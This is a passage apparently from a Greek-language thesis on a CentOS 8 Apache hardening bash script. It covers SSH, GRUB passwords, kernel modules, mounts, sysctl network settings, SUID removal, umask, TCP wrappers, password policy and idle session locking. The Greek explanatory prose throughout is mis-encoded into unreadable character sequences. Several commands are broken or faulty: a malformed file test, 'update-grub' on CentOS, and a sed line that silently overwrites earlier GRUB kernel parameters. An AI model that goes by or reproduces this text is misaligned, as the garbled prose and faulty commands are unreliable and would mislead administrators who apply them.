set_parameter "Protocol" "2" ${SSHD_CONFIG} 

log_info "Configuring logging levels to verbose." 

set_parameter "LogLevel" "VERBOSE" ${SSHD_CONFIG} 

log_info "Disabling X11 forwarding." 

set_parameter "X11Forwarding" "no" ${SSHD_CONFIG} 

log_info "Disabling root logins." 

set_parameter "PermitRootLogin" "no" ${SSHD_CONFIG} 

log_info "Adding current user to ssh group." 

groupadd ssh 

usermod -a -G ssh ${CURRENT_USER} 

log_info "Configuring SSH access only to 

${DECORATION_BOLD_ON}\"ssh\"${DECORATION_BOLD_OFF} group." 

set_parameter "AllowGroups" "ssh" ${SSHD_CONFIG} 

 

3.3.3 Secure bootloader 

Οη παξάκεηξνη GRUB_TIMEOUT=0 θαη GRUB_HIDDEN_TIMEOUT=0 ζην αξρείν 

/etc/default/grub δελ είλαη αζθαιήο επηινγή θαη είλαη πνην αζθαιέο ν bootloader λα 

αζθαιίδεηαη κε θσδηθό πξόζβαζεο [19]: 

 Αποκλειζμόρ ππόζβαζηρ ζηο Single User Mode: Αλ έλαο θαθόβνπινο 

ρξήζηεο εθθηλήζεη ην ζύζηεκα ζε απηό ην mode, ηόηε κπνξεί λα εηζέιζεη ζην 

ζύζηεκα ρσξίο ηελ εηζαγσγή ηνπ θσδηθνύ ηνπ root ρξήζηε. 
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 Αποκλειζμόρ ππόζβαζηρ ζηο GRUB 2 Console: Αλ ρξεζηκνπνηείηαη ην 

GRUB 2 σο bootloader ζε έλα ζύζηεκα, ν θαθόβνπινο ρξήζηεο κπνξεί λα 

ρξεζηκνπνηήζεη ηελ θνλζόια ηνπ γηα λα αιιάμεη ξπζκίζεηο ή κε ρξήζε ηεο 

εληνιήο cat κπνξεί λα καδέςεη ηηο πιεξνθνξίεο πνπ ρξεηάδεηαη.  

 Αποκλειζμόρ ππόζβαζηρ ζε μη αζθαλή λειηοςπγικό ζύζηημα : Αλ ην 

ζύζηεκα είλαη dual boot, ηόηε έλαο θαθόβνπινο ρξήζηεο κπνξεί λα επηιέμεη 

λα εθθηλήζεη έλα από ηα δπν ιεηηνπξγηθά ην νπνία αγλνεί ηα δηθαηώκαηα ησλ 

αξρείσλ θαη ηνπο ειέγρνπο αζθαιείαο ηνπ ζπζηήκαηνο αξρείσλ. 

Γηα λα ελεξγνπνηεζεί ε ρξήζε ηνπ θσδηθνύ πξόζβαζεο θαηά ηελ εθθίλεζε, πξέπεη λα 

ελεξγνπνηεζεί έλαο super user πνπ λα έρεη πξόζβαζε ζηηο πξνζηαηεπκέλεο εγγξαθέο. 

΢πλίζηαηαη ν super user λ είλαη δηαθνξεηηθόο από ηνπο ρξήζηεο ηνπ ιεηηνπξγηθνύ 

ζπζηήκαηνο. Αθόκα κπνξνύλ λα νξηζηνύλ θαη απινί ρξήζηεο πνπ ζα έρνπλ πξόζβαζε 

κόλν επηινγήο. Γηα λα δεκηνπξγεζεί έλαο θσδηθόο γηα ηνλ super user, ην bash script 

centos8-apache-hardening script εθηειεί ηελ παξαθάησ ζπλάξηεζε: 

function secure_bootloader() 

{ 

 backup_file $DEFAULTGRUB 

 backup_file $GRUB_40_CUSTOM 

 if [ -n "$GRUB_PASSPHRASE" ]; then 

  sed -i 

's/^GRUB_CMDLINE_LINUX=.*/GRUB_CMDLINE_LINUX="--users 

$GRUB_SUPERUSER"/' "$DEFAULTGRUB" 

  echo "set superusers=$GRUB_SUPERUSER" >> 

$GRUB_40_CUSTOM 

  GRUB_PASS=$(expect_script "$1" | $EXPECT | sed -e "/^\r$/d" -e 

"/^$/d" -e "s/.* \(.*\)/\1/") 

  echo "password_pbkdf2 $GRUB_SUPERUSER $GRUB_PASS" >> 

$GRUB_40_CUSTOM 

  echo 'export superusers' >> $GRUB_40_CUSTOM 

  log_info "Secure Bootloader finished successfully!" 

 fi 

} 
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3.3.4 Απελεξγνπνίεζε αρξείαζησλ modules ζπζηήκαηνο 

Δίλαη πάληα θαιή πξαθηηθή λα απελεξγνπνηνύληαη ηα modules πνπ δελ 

ρξεζηκνπνηνύληαη γηα ιόγνπο αζθαιείαο. Η απελεξγνπνίεζε γηα παξάδεηγκα ησλ 

modules πνπ Apache πνπ δελ ρξεζηκνπνηνύληαη, ην bash script centos8-apache-

hardening πξνζέηεη έλα ζρόιην „#‟ κπξνζηά από απηά κε ρξήζε ησλ παξαθάησ 

ζπλαξηήζεσλ: 

# Disable Unnecessary Modules 

BASE_MODULES='/etc/httpd/conf.modules.d/00-base.conf' 

comment_parameter "LoadModule info_module modules\/mod_info.so" 

$BASE_MODULES 

comment_parameter "LoadModule userdir_module modules\/mod_userdir.so" 

$BASE_MODULES 

Δπίζεο, ην bash script απελεξγνπνηεί νξηζκέλα kernel modules κε ρξήζε ηνπ 

παξαθάησ script θώδηθα: 

# Disable unneeded kernel modules 

MOD='bluetooth firewire-core net-pf-31 soundcore thunderbolt usb-midi usb-storage' 

DISABLEMOD='/etc/modprobe.d/disablemod.conf'  

log_info "Is going to disable unneeded kernel modules" 

for disable in $MOD; do 

 if ! grep -q "$disable" "$DISABLEMOD" 2> /dev/null; then 

  echo "install $disable /bin/true" >> "$DISABLEMOD" 

 fi 

done 

Η πιήξε ιίζηα κε ηελ απελεξγνπνίεζε ησλ modules βξίζθεηαη ζην Παξάξηεκα 1. 

 

3.3.5 Secure Mounts 

Γεληθά είλαη θαιή πξαθηηθή λα δεκηνπξγνύληαη δηαθνξεηηθά partitions γηα ηνπο 

θαθέινπο /boot, /, /home, /tmp θαη /var/tmp γηα ηνπο παξαθάησ ιόγνπο [19]: 

 /boot: Δίλαη ην πξώην partition πνπ δηαβάδεη ην ιεηηνπξγηθό ζύζηεκα θαηά ηελ 

εθθίλεζή ηνπ. Δθεί απνζεθεύεηαη ν ππξήλαο θαη ν bootloader νη νπνίνη 

εθθηλνύλ ην ιεηηνπξγηθό ζύζηεκα ην νπνίν δελ πξέπεη λα είλαη 

θξππηνγξαθεκέλν γηαηί αλ γίλεη κε δηαζέζηκν γηα θάπνην ιόγν (γηα 
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παξάδεηγκα επεηδή είλαη ζην ίδην partition κε ην θξππηνγξαθεκέλν / θαη ραζεί 

ην passphrase), ηόηε ην ζύζηεκα δελ ζα κπνξεί λα εθθηλήζεη θαζόινπ. Δπίζεο 

είλαη γεληθά θαιή πξαθηηθή λα είλαη ην /boot partition κόλν γηα αλάγλσζε γηα 

λα πξνζηαηεύνληαη ηα θξίζηκα αξρεία ηνπ ζπζηήκαηνο από ηπρόλ 

ηξνπνπνίεζε. 

Απηό επηηπγράλεηαη από ην αξρείν /etc/fstab κε ην παξαθάησ 

/boot /boot ext2 defaults,ro 1 2 

΢ε πεξίπησζε όκσο πνπ ρξεηαζηεί κειινληηθά θάπνην update ζηνλ ππξήλα ή 

θάπνηεο ξπζκίζεηο ζηνλ bootloader, ζα πξέπεη λα πξνζαξηεζεί ην δηθαίσκα 

εγγξαθήο ηνπ παξαπάλσ partition. 

 /home: Αλ ηα αξρεία ησλ ρξεζηώλ βξίζθνληαη ζην ίδην partition κε ην /, ηόηε 

αλ γεκίζεη κε αξρεία ηνπ ρξήζηε ην /home ζα έρεη σο απνηέιεζκα λα γίλεη ην 

ζύζηεκα αζηαζέο. Αθόκα ζηελ πεξίπησζε πνπ γίλεη θάπνην upgrade ζην 

ιεηηνπξγηθό ζύζηεκα, αλ είλαη ηα αξρεία ηνπ /home ζε άιιν partition, είλαη 

επθνιόηεξν λα δηαηεξεζνύλ ζε απηό ην partition γηαηί δελ ζα δηαγξαθνύλ 

θαηά ηελ εγθαηάζηαζε ηεο λέαο έθδνζεο ηνπ ιεηηνπξγηθνύ. 

 /tmp & /var/tmp: Υξεζηκνπνηνύληαη γηα πξνζσξηλή απνζήθεπζε δεδνκέλσλ. 

Αλ απηνί νη θάθεινη βξίζθνληαη ζην ίδην partition κε ην / ηόηε επεηδή γεκίδνπλ 

γξήγνξα ζα απνξξνθήζνπλ όιν ην δηαζέζηκν ρώξν θαη ζα θαηαζηήζνπλ ην 

ζύζηεκα αζηαζέο. Οπόηε είλαη θαιή πξαθηηθή λα βξίζθνληαη ζε μερσξηζηό 

partition θαη επίζεο λα είλαη απελεξγνπνηεκέλα ηα δηθαηώκαηα εθηέιεζεο ζην 

/tmp. 

 /dev/shm: Μηα αθόκα θαιή πξαθηηθή είλαη ε απελεξγνπνίεζε ησλ 

δηθαησκάησλ εθηέιεζεο ζηελ δηακνηξαδόκελε κλήκε (shared memory) θαη 

απηό ην επηηπγράλεη ην bash script centos8-apache-hardening δεκηνπξγώληαο 

ην αξρείν: 

cat > /etc/systemd/system/tmp.mount <<EOF 

# /etc/systemd/system/default.target.wants/tmp.mount -> ../tmp.mount 

 

[Unit] 

Description=Temporary Directory 

Documentation=man:hier(7) 

Before=local- fs.target 
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[Mount] 

What=tmpfs 

Where=/tmp 

Type=tmpfs 

Options=mode=1777,strictatime,nosuid,nodev 

EOF 

Καη ην παξαθάησ symbolic link: 

ln -s /etc/systemd/system/tmp.mount 

/etc/systemd/system/default.target.wants/tmp.mount 

Σελ ίδηα δηαδηθαζία εθαξκόδεη θαη γηα ηνπο θαθέινπο /tmp θαη /var/tmp θαη ζην ηέινο 

γίλεηαη επαλεθθίλεζε ηνπ systemctl κε ρξήζε ηεο παξαθάησ εληνιήο: 

systemctl daemon-reload 

 

3.3.6 Αζθάιεηα δηαθόξσλ sysctl παξακέηξσλ 

΢ηε ζπλέρεηα πεξηγξάθνληαη δεηήκαηα αζθαιείαο πνπ αθνξνύλ ηελ δηθηπαθή 

πξόζβαζε. Πνην ζπγθεθξηκέλα ην bash script centos8-apache-hardening εθαξκόδεη ηα 

παξαθάησ: 

 Απενεπγοποίηζη Source Routing: Σν Source routing είλαη έλαο κεραληζκόο 

ηνπ δηαδηθηύνπ πνπ επηηξέπεη ζε έλα παθέην λα κεηαθέξεη κηα ιίζηα 

δηεπζύλζεσλ IP ε νπνία ελεκεξώλεη ηνλ δξνκνινγεηή γηα ηελ δηαδξνκή πνπ 

ζα πξέπεη λα αθνινπζήζεη ην παθέην. Αθόκα ππνζηεξίδεηαη ε επηινγή 

θαηαγξαθήο ησλ IP (hops) πνπ δηαζρίδεη ην παθέην θαηά ηε δηαδξνκή ηνπ. Η 

ιίζηα ησλ δηαζρηζκέλσλ IP, δειαδή ην «route record» παξέρεη ηελ δηεύζπλζε 

πξννξηζκνύ θαη πιεξνθνξίεο γηα ηε δηαδξνκή επηζηξνθήο. Απηό επηηξέπεη 

ζηελ αθεηεξία (source) λα θαζνξίδεη ηε δηαδξνκή πνπ ζα αθνινπζήζεη ην 

παθέην αγλνώληαο ηνπο πίλαθεο δξνκνιόγεζεο ησλ ελδηάκεζσλ 

δξνκνινγεηώλ. Απηό επηηξέπεη ηελ αλαδξνκνιόγεζε ηεο δηθηπαθήο θίλεζεο 

από ηνπο θαθόβνπινπο ρξήζηεο. Δπνκέλσο ζα πξέπεη απηή ε δπλαηόηεηα λα 

απελεξγνπνηείηαη. Η επηινγή accept_source_route θαζνξίδεη ηηο δηθηπαθέο 

δηεπαθέο (network interfaces) ώζηε λα δέρνληαη παθέηα κε ελεξγνπνηεκέλε 

ηελ παξάκεηξν Strict Source Route (SSR) ή Loose Source Routing (LSR). Η 



56 
 

παξακεηξνπνίεζε γίλεηαη κέζσ ηνπ systctl θαη ην bash script κε ρξήζε ηεο 

παξαθάησ εληνιήο απνξξίπηεη ηα παθέηα πνπ έρνπλ ελεξγνπνηεκέλν ην SSR ή 

LSR: 

SYSCTL='/etc/sysctl.conf'  

append_config "net.ipv4.conf.all.accept_source_route = 0" $SYSCTL 

Αθόκα, ζα πξέπεη λα απελεξγνπνηείηαη θαη ην packet forwarding, όηαλ απηό 

είλαη εθηθηό (απηό πηζαλό λα έρεη αληίθηππν ζην virtualization). Οη παξαθάησ 

εληνιέο απελεξγνπνηνύλ ην forwarding γηα IPv4 θαη IPv6 παθέηα ζε όιεο ηηο 

δηθηπαθέο δηεπαθέο: 

append_config "net.ipv4.conf.all.forwarding = 0" $SYSCTL 

append_config "net.ipv6.conf.all.forwarding = 0" $SYSCTL 

Δπίζεο ε απνδνρή ICMP redirects έρεη ειάρηζηεο ρξήζηκεο εθαξκνγέο. Γη‟ 

απηό είλαη κηα θαιή πξαθηηθή ε απελεξγνπνίεζή ηνπο. Σν bash script κε 

ρξήζε ησλ παξαθάησ εληνιώλ απελεξγνπνηνύλ ηελ απνδνρή γηα όια ηα ICMP 

redirects παθέηα ζε όιεο ηηο δηθηπαθέο δηεπαθέο: 

append_config "net.ipv4.conf.all.accept_redirects = 0" $SYSCTL 

append_config "net.ipv6.conf.all.accept_redirects = 0" $SYSCTL 

Η παξαθάησ εληνιή απελεξγνπνηεί ηελ απνδνρή όισλ ησλ secure ICMP 

redirect παθέησλ ζε όιεο ηηο δηθηπαθέο δηεπαθέο: 

append_config "net.ipv4.conf.all.secure_redirects = 0" $SYSCTL 

Η παξαθάησ εληνιή απελεξγνπνηεί ηελ απνζηνιή γηα όια ηα ICMP redirects 

παθέηα ζε όιεο ηηο δηθηπαθέο δηεπαθέο: 

append_config "net.ipv4.conf.all.send_redirects = 0" $SYSCTL 

 

 Απενεπγοποίηζη ηος Reverse Path Forwarding: Σν Reverse Path 

Forwarding ρξεζηκνπνηείηαη γηα λα απνηξέςεη παθέηα ηα νπνία εηζήιζαλ από 

κηα δηθηπαθή δηεπαθή (interface) γηα λα εμέιζνπλ κέζσ κηαο άιιεο. Η 

θαηάζηαζε θαηά ηελ νπνία νη δξνκνινγήζεηο εηζόδνπ – εμόδνπ (incoming – 

outgoing routes) είλαη δηαθνξεηηθέο, θαιείηαη αζύκκεηξε δξνκνιόγεζε 

(asymmetric routing). Οη δξνκνινγεηέο ζπρλά ρξεζηκνπνηνύλ απηό ηνλ ηύπν 

δξνκνιόγεζεο, αιιά νη πεξηζζόηεξνη ππνινγηζηέο ζπλήζσο δελ ρξεηάδεηαη λα 

ην θάλνπλ. Πεξηπηώζεηο ζηηο νπνίεο κπνξεί λα ρξεζηκνπνηείηαη απηόο ν 

ηξόπνο δξνκνιόγεζεο είλαη ζε εθαξκνγέο νη νπνίεο ζηέιλνπλ δηθηπαθή 
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θίλεζε από κηα δηθηπαθή ζπζθεπή θαη δέρνληαη θίλεζε από κηα άιιε, ε νπνία 

επηθνηλσλεί κε δηαθνξεηηθό service provider. Παξαδείγκαηα ηέηνησλ 

πεξηπηώζεσλ είλαη νη ζπλδπαζκνί DSL κε leased lines ή δνξπθνξηθέο 

ζπλδέζεηο κε 3G. Αλ απηό ην ζελάξην δελ αληαπνθξίλεηαη ζηελ 

πξαγκαηηθόηεηα, όζνλ αθνξά κηα ππνδνκή, ηόηε ε ελεξγνπνίεζε ηνπ reverse 

path forwarding ζηε δηθηπαθή δηεπαθή εηζόδνπ είλαη απαξαίηεηε. Δλ νιίγνηο 

πξέπεη λα ελεξγνπνηείηαη, εθηόο αλ γλσξίδνπκε όηη απηή ε ιεηηνπξγία δελ είλαη 

απαξαίηεηε, γηαηί απνηξέπεη ηνπο ρξήζηεο λα πιαζηνγξαθνύλ δηεπζύλζεηο από 

δηάθνξα ππνδίθηπα (IP spoofing) θαη κεηώλεη ηελ πηζαλόηεηα DDoS 

επηζέζεσλ. 

Σν Reverse Path Forwarding ελεξγνπνηείηαη κε ρξήζε ηεο παξακέηξνπ 

rp_filter. Σν sysctl κπνξεί λα ρξεζηκνπνηεζεί γηα λα αιιάμεη ηηο ξπζκίζεηο 

απηέο πξνζσξηλά, ελώ ε κόληκε αιιαγή απνζεθεύεηαη κε ηελ εγγξαθή ζην 

αξρείν /etc/sysctl.conf. Η παξάκεηξνο rp_filter νξίδεηαη από ην bash script 

centos8-apache-hardening κε ηηο παξαθάησ εληνιέο: 

append_config "net.ipv4.conf.all.rp_filter = 1" $SYSCTL 

append_config "net.ipv4.conf.default.rp_filter= 1" $SYSCTL 

Να ζεκεησζεί εδώ όηη κπνξεί αληί γηα 1 λα νξηζηνύλ νη παξαθάησ ηηκέο κε ηηο 

αληίζηνηρεο ζεκαζίεο ηνπο: 

o 0 – No source validation 

o 1 – Strict mode 

o 2 – Loose mode 

 Απενεπγοποίηζη ηος Zeroconf Networking: Σν Zeroconf θαζνξίδεη ηελ 

δηεύζπλζε ηελ νπνία ζα ιάβεη o ππνινγηζηήο εθόζνλ δελ θαηαθέξεη λα ιάβεη 

κηα κέζσ ηνπ DHCP. ΢ε απηή ηελ πεξίπησζε, ε δηεπαθή ζα ιάβεη κηα 

δηεύζπλζε ζην ππνδίθηπν: 169.254.0.0. Η απελεξγνπνίεζε απηήο ηεο 

ιεηηνπξγίαο πξαγκαηνπνηείηαη κε ρξήζε ηεο παξαθάησ εληνιήο: 

yum remove avahi-autoipd 

 Αγνόηζη πακέηυν ICMP, Broadcast Request και Martian Packets: 

Σν bash script centos8-apache-hardening πξνζζέηεη ζην αξρείν /etc/sysctl.conf 

ηηο παξαθάησ εγγξαθέο γηα λα δώζεη νδεγία ζην ιεηηνπξγηθό ώζηε λα αγλνεί 

ηα ping ή broadcast requests: 

o Αγλόεζε ICMP request:  
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append_config "net.ipv4.icmp_echo_ignore_all = 1" $SYSCTL 

o Αγλόεζε Broadcast request: 

append_config "net.ipv4.icmp_echo_ignore_broadcasts = 1" 

$SYSCTL 

o Καηαγξαθή παθέησλ από κε νξζέο ή κε αλακελόκελεο δηεπζύλζεηο 

(Martian Packets – Un-routable Source Addresses):  

append_config "net.ipv4.conf.all.log_martians = 1" $SYSCTL 

 Απενεπγοποίηζη ππυηοκόλλος IPv6: Μηα θαιή πξαθηηθή είλαη ε 

απελεξγνπνίεζε ηνπ πξσηνθόιινπ IPv6 αλ δελ ρξεζηκνπνηείηαη θαζώο νη 

πεξηζζόηεξεο ππεξεζίεο εθηόο DMZ δελ ην ρξεζηκνπνηνύλ θαη ζπλήζσο είλαη 

ειιηπήο ν έιεγρνο ηνπ κέζσ ησλ ηεηρώλ πξνζηαζίαο. Σν bash script κε ρξήζε 

ησλ παξαθάησ εληνιώλ απελεξγνπνηεί ην IPv6 κέζσ sysctl γηα όιεο ηηο 

επαθέο ζην αξρείν /etc/sysctl.conf: 

append_config "net.ipv6.conf.all.disable_ipv6 = 1" $SYSCTL  

append_config "net.ipv6.conf.default.disable_ipv6 = 1" $SYSCTL 

append_config "net.ipv6.conf.lo.disable_ipv6 = 1" $SYSCTL 

Αθόκα κπνξνύκε λα απελεξγνπνηήζνπκε ην IPv6 εηζάγνληαο ζην αξρείν 

/etc/modprobe.d/disablenet.conf ηελ επηινγή: 

ipv6 disable=1 

θαη ζηνλ ππξήλα ηνπ ιεηηνπξγηθνύ πξνζζέηνληαο ζην αξρείν /etc/default/grub 

ηελ ηηκή ipv6.disable=1 ζηελ γξακκή πνπ θαζνξίδεη ηηο παξακέηξνπο 

θόξησζεο ππξήλα GRUB_CMDLINE_LINUX_DEFAULT. ΢πγθεθξηκέλα 

απηό πινπνηείηαη από ην bash script κε ρξήζε ηεο παξαθάησ εληνιήο: 

sed -i 

's/^GRUB_CMDLINE_LINUX=.*/GRUB_CMDLINE_LINUX="ipv6.disabl

e=1"/' "$DEFAULTGRUB" 

Σέινο ελεκεξώλνπκε ην grub κε ηηο αιιαγέο κε ρξήζε ηεο εληνιήο: 

sudo update-grub 

 Απενεπγοποίηζη ηος RPC IPv6: Οη ππεξεζίεο RPC, όπσο ην NFS, 

επηρεηξνύλ λα εθθηλήζνπλ ρξεζηκνπνηώληαο ην IPv6 αθόκα θαη αλ απηό είλαη 

απελεξγνπνηεκέλν ζην αξρείν: /etc/modprobe.d. Γηα λα εκπνδίζνπκε απηή ηελ 
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ζπκπεξηθνξά, ην bash script βάδεη ζε ζρόιην „#‟ ηηο παξαθάησ γξακκέο ζην 

αξρείν /etc/netconfig: 

#udp6 tpi_clts  v inet6  udp  - - 

#tcp6 tpi_cots_ord v inet6  tcp   - - 

 

3.3.7 Ρύζκηζε νξίσλ αζθαιείαο ρξεζηώλ 

Η ξύζκηζε ησλ νξίσλ αζθαιείαο είλαη γεληθά κηα θαιή πξαθηηθή όζνλ αθνξά ηελ 

πξόζβαζε ησλ ρξεζηώλ ζηνπο παξαγσγηθνύο web servers. Σα όξηα απηά 

πεξηιακβάλνπλ κέγηζην αξηζκό ηαπηόρξνλσλ sessions (max- logins), κέγηζην πιήζνο 

εθηεινύκελσλ δηεξγαζηώλ, κέγεζνο αξρείνπ coredump θ.α. Γηα ηελ ξύζκηζε απηώλ 

ησλ νξίσλ ην bash script centos8-apache-hardening εθηειεί ηηο παξαθάησ εληνιέο: 

LIMITSCONF='/etc/security/limits.conf'  

sed -i 's/^# End of file*//' "$LIMITSCONF" 

append_config "* hard maxlogins 10" $LIMITSCONF 

append_config "* hard core 0" $LIMITSCONF 

append_config "* soft nproc 100" $LIMITSCONF 

append_config "* hard nproc 150" $LIMITSCONF 

append_config "# End of file" $LIMITSCONF 

 

3.3.8 Γηαγξαθή suid bits 

Αθόκα κηα θαιή πξαθηηθή είλαη ε αθαίξεζε ηνπ suid bit από ζπγθεθξηκέλα 

εθηειέζηκα αξρεία πνπ βξίζθνληαη ζηνπο θαθέινπο /bin θαη /usr/bin θαζώο απηά ηα 

αξρεία εθηεινύληαη κε δηθαηώκαηα root ρξήζηε ή κε δηθαηώκαηα sudo. Γηα λα βξνύκε 

ηα αξρεία πνπ έρνπλ ελεξγό ην SUID θαη κεηά λα ηα απελεξγνπνηήζνπκε απηά πνπ 

ζεσξνύκε επηθίλδπλα ηξέρνπκε ηελ παξαθάησ εληνιή: 

sudo find / -perm -4000 –print 

΢ηε ζπλέρεηα αθνύ βξνύκε πνηα είλαη απηά ηα αξρεία πνπ έρνπλ ελεξγό ην SUID, ηα 

βάδνπκε ζην bash script centos8-apache-hardening θαη απηό ηα απελεξγνπνηεί κε 

ρξήζε ησλ παξαθάησ εληνιώλ: 

for p in /bin/fusermount /bin/mount /bin/ping /bin/ping6 /bin/su /bin/umount \ 

   /usr/bin/bsd-write /usr/bin/chage /usr/bin/chfn /usr/bin/chsh \ 

   /usr/bin/mlocate /usr/bin/mtr /usr/bin/newgrp /usr/bin/pkexec \ 
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   /usr/bin/traceroute6.iputils /usr/bin/wall /usr/sbin/pppd; 

do 

 if [ -e "$p" ]; then 

  oct=$(stat -c "%a" $p |sed 's/^4/0/') # 0755 

  ug=$(stat -c "%U:%G" $p)    # root:root 

  chmod $oct $p 

  chown $ug $p 

  chmod -s $p # clear the bits with symbolic modes like 

 fi 

done 

 

for SHELL in $(cat /etc/shells); do 

 if [ -x "$SHELL" ]; then 

  chmod -s "$SHELL" 

 fi 

done 

 

3.3.9 Απζηεξόηεξα δηθαηώκαηα ζε αξρεία - θαθέινπο 

Γηα λα ζέζεη ην bash script centos8-apache-hardening απζηεξόηεξα δηθαηώκαηα ζε 

αξρεία – θαθέινπο, ξπζκίδεη ην ζπλνιηθό umask ηνπ ζπζηήκαηνο ζε 027. Απηό νξίδεη 

ηα δηθαηώκαηα ζε 640 (rw-r---) ζε λέα αξρεία θαη 750 (rwxr-x---) ζε λένπο θαθέινπο. 

Απηό ην πινπνηεί κε ρξήζε ησλ παξαθάησ εληνιώλ: 

if ! grep -q -i "umask" "/etc/profile" 2> /dev/null; then 

 backup_file $ETC_PROFILE 

 append_config "umask 027" $ETC_PROFILE 

fi 

 

if ! grep -q -i "umask" "/etc/bashrc" 2> /dev/null; then 

 backup_file $ETC_BASHRC 

 append_config "umask 027" $ETC_BASHRC 

fi 
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΢ε fileservers, ζπλίζηαηαη ν νξηζκόο ηνπ umask ζε 077 θαζώο ιάζνο δηθαηώκαηα 

κπνξεί λα πξνθαιέζνπλ πξνβιήκαηα ζε ζπζηήκαηα ηα νπνία δηακνηξάδνπλ αξρεία 

όπσο SAMBA ή NFS. 

 

3.3.10 Αθαίξεζε config γηα απνκαθξπζκέλε πξόζβαζε 

Σν bash script centos8-apache-hardening πξνθεηκέλνπ λα θόςεη ηπρόλ 

απνκαθξπζκέλεο πξνζβάζεηο ζηνλ web server, αθαηξεί ηα αξρεία .rhosts θαη 

hosts.equiv ηνπο θαθέινπο ρξεζηώλ θαη απηό ην πινπνηεί κε ηηο παξαθάησ εληνιέο: 

for dir in $(awk -F ":" '{print $6}' /etc/passwd); do 

 find "$dir" \( -name "hosts.equiv" -o -name ".rhosts" \) -exec rm -f {} \; 2> 

/dev/null 

done 

  

if [[ - f /etc/hosts.equiv ]]; then 

 rm /etc/hosts.equiv 

fi 

 

3.3.11 Έιεγρνο πξόζβαζεο κε ρξήζε TCP Wrappers 

Δπεηδή ηα αξρεία /etc/hosts.allow θαη /etc/hosts.deny ρξεζηκνπνηνύληαη γηα έιεγρν 

ηεο πξόζβαζεο ζηηο ππεξεζίεο ηνπ Centos ιεηηνπξγηθνύ, αλ ε έθδνζε ηνπ web server 

είλαη desktop θαη όρη server, ηόηε θαιό είλαη λα πξνζζέζνπκε ηελ γξακκή „ALL‟ ζην 

αξρείν /etc/hosts.deny θαη ηε γξακκή „localhost‟ ζην αξρείν αξρείν /etc/hosts.allow. 

Μηα εγθαηάζηαζε server, ρξεηάδεηαη επίζεο θαη ηηο παξαθάησ γξακκέο ζην αξρείν 

/etc/hosts.allow ηηο νπνίεο ηηο πξνζζέηεη ην bash script: 

HOSTS_ALLOW='/etc/hosts.allow'  

HOSTS_DENY='/etc/hosts.deny'  

append_config "ALL: LOCAL, 127.0.0.1" $HOSTS_ALLOW 

append_config "ALL: PARANOID" $HOSTS_DENY 

chmod 644 $HOSTS_ALLOW 

chmod 644 $HOSTS_DENY 
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3.3.12 Πνιηηηθή ιήμεο ινγαξηαζκώλ θαη θσδηθώλ 

Έλα από ηα ζεκαληηθόηεξα configurations πνπ πξέπεη λα πξαγκαηνπνηνύληαη είλαη ε 

πνιηηηθή ιήμεο ησλ ινγαξηαζκώλ θαη ησλ θσδηθώλ ζην ζύζηεκα. Οη παξαθάησ 

ξπζκίδεηο νξίδνληαη ζην αξρείν /etc/login.defs θαη ην bash script ηηο εθαξκόδεη κε ηηο 

παξαθάησ εληνιέο: 

LOGINDEFS='/etc/login.defs'  

sed -i 's/^.*LOG_OK_LOGINS.*/LOG_OK_LOGINS\t\tyes/' "$LOGINDEFS" 

sed -i 's/^UMASK.*/UMASK\t\t077/' "$LOGINDEFS" 

sed -i 's/^PASS_MIN_DAYS.*/PASS_MIN_DAYS\t\t7/' "$LOGINDEFS" 

sed -i 's/^PASS_MAX_DAYS.*/PASS_MAX_DAYS\t\t30/' "$LOGINDEFS" 

sed -i 's/DEFAULT_HOME.*/DEFAULT_HOME no/' "$LOGINDEFS" 

sed -i 's/USERGROUPS_ENAB.*/USERGROUPS_ENAB no/' "$LOGINDEFS" 

sed -i 's/^# 

SHA_CRYPT_MAX_ROUNDS.*/SHA_CRYPT_MAX_ROUNDS\t\t10000/' 

"$LOGINDEFS" 

Με ηηο παξαπάλσ εληνιέο δίλνπλ νδεγίεο ώζηε λα θαηαγξάθνληαη νη επηηπρείο είζνδνη 

ζην ζύζηεκα, απαγνξεύνπλ δπν δηαδνρηθέο αιιαγέο θσδηθώλ πξόζβαζεο γηα έλα 

ινγαξηαζκό κέζα ζε 7 εκέξεο θαη ιήγνπλ ηελ ηζρύ ησλ θσδηθώλ θάζε 30 εκέξεο. Γηα 

ηελ απελεξγνπνίεζε ελόο ινγαξηαζκνύ ν νπνίνο δελ έρεη ρξεζηκνπνηεζεί 35 εκέξεο 

κεηά από ηελ ιήμε ηνπ θσδηθνύ πξόζβαζεο, ελεκεξώλνπκε ην αξρείν 

/etc/default/useradd κε ηελ παξαθάησ εγγξαθή: 

INACTIVE=35 

 

3.3.13 Κιείδσκα sessions θαη απηόκαηε απνζύλδεζε 

Έλαο ρξήζηεο όηαλ είλαη ζπλδεδεκέλνο ζηνλ web server σο root θαη έρεη «μεράζεη» 

ηελ ζπλεδξία ηνπ αλνηρηή, ηόηε απηό κπνξεί λα πξνθαιέζεη θίλδπλν αζθάιεηαο. Γηα 

λα κεησζεί απηόο ν θίλδπλνο αζθάιεηαο, ζα πξέπεη λα θάλνπκε ην θαηάιιειν 

configuration ζην ζύζηεκα ώζηε λα απνζπλδέεη απηόκαηα ηνπο ρξήζηεο πνπ δελ 

αιιειεπηδξνύλ κε απηό κεηά από θάπνην ζπγθεθξηκέλν ρξνληθό δηάζηεκα. Γηα λα 

επηηεπρζεί απηό, ην bash script centos8-apache-hardening εθαξκόδεη ηα παξαθάησ 

configurations ζην αξρείν /etc/systemd/logind.conf: 
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LOGINDCONF='/etc/systemd/logind.conf'  

sed -i 's/^#KillUserProcesses=no/KillUserProcesses=1/' "$LOGINDCONF" 

sed -i 's/^#KillExcludeUsers=root/KillExcludeUsers=root/' "$LOGINDCONF" 

sed -i 's/^#IdleAction=ignore/IdleAction=lock/' "$LOGINDCONF" 

sed -i 's/^#IdleActionSec=30min/IdleActionSec=15min/' "$LOGINDCONF" 

sed -i 's/^#RemoveIPC=yes/RemoveIPC=yes/' "$LOGINDCONF" 

΢ηε ζπλέρεηα γηα λα ιεηηνπξγήζνπλ ηα παξαπάλσ configurations πξέπεη εθηειεζηεί ε 

παξαθάησ εληνιή (από ην script):  

systemctl daemon-reload 

Σα παξαπάλσ configurations θιεηδώλνπλ ην session ηνπ ρξήζηε κεηά από 15 ιεπηά 

κε αιιειεπίδξαζήο ηνπ κε ην ζύζηεκα θαη ηεξκαηίδεη όιεο ηηο ηξέρνπζεο δηεξγαζίεο 

ηνπ. Ο ρξήζηεο root εμαηξείηαη από ηνλ απηόκαην ηεξκαηηζκό ησλ δηεξγαζηώλ. 

Ο root ρξήζηεο κπνξεί λα ρξεηαζηεί λα αθήζεη ην ζηαζκό εξγαζίαο ηνπ γηα θάπνην 

